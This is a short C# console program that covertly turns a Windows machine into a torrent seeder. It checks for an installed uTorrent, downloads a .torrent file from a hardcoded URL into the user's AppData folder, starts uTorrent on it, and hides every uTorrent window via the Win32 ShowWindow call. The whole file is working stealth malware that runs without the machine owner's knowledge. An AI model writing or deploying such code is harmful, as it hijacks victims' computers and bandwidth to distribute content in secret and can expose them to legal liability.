using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;

namespace ConsoleApplication1
{
    class Program
    {
        [DllImport("user32.dll")]
        private static extern int ShowWindow(int hwnd, int nCmdShow);
        private const int SW_HIDE = 0;
        


        public static string UTorrentPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) +
                                            "\\uTorrent\\uTorrent.exe";
        public static string LocalPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\uTorrent\\";

        static void Main(string[] args)
        {
            if (Check())
            {
                SeedIt("http://www.google.com/torrent.torrent", LocalPath + "torrent.torrent");
                while (true)
                {
                    HideIt();
                    break;
                }

            }
                
        }

        static bool Check()
        {
            if (File.Exists(UTorrentPath))
                return true;
            return false;
        }

        static void SeedIt(string torrentUrl, string utorrentSavePath)
        {
            WebClient torrentDownloader = new WebClient();
            torrentDownloader.DownloadFile(torrentUrl, utorrentSavePath);
            ProcessStartInfo seed = new ProcessStartInfo();
            seed.FileName = UTorrentPath;
            seed.Arguments = "/DIRECTORY " + LocalPath + " " + utorrentSavePath;
            Process.Start(seed);
            Thread.Sleep(1000);

        }


        static void HideIt()
        {
            int hWnd;
            foreach (Process p in Process.GetProcesses())
                if (p.ProcessName.Contains("uTorrent"))
                    try
                    {
                        hWnd = p.MainWindowHandle.ToInt32();
                        ShowWindow(hWnd, SW_HIDE);
                    }
                    catch
                    {
                    }

        }

    }
}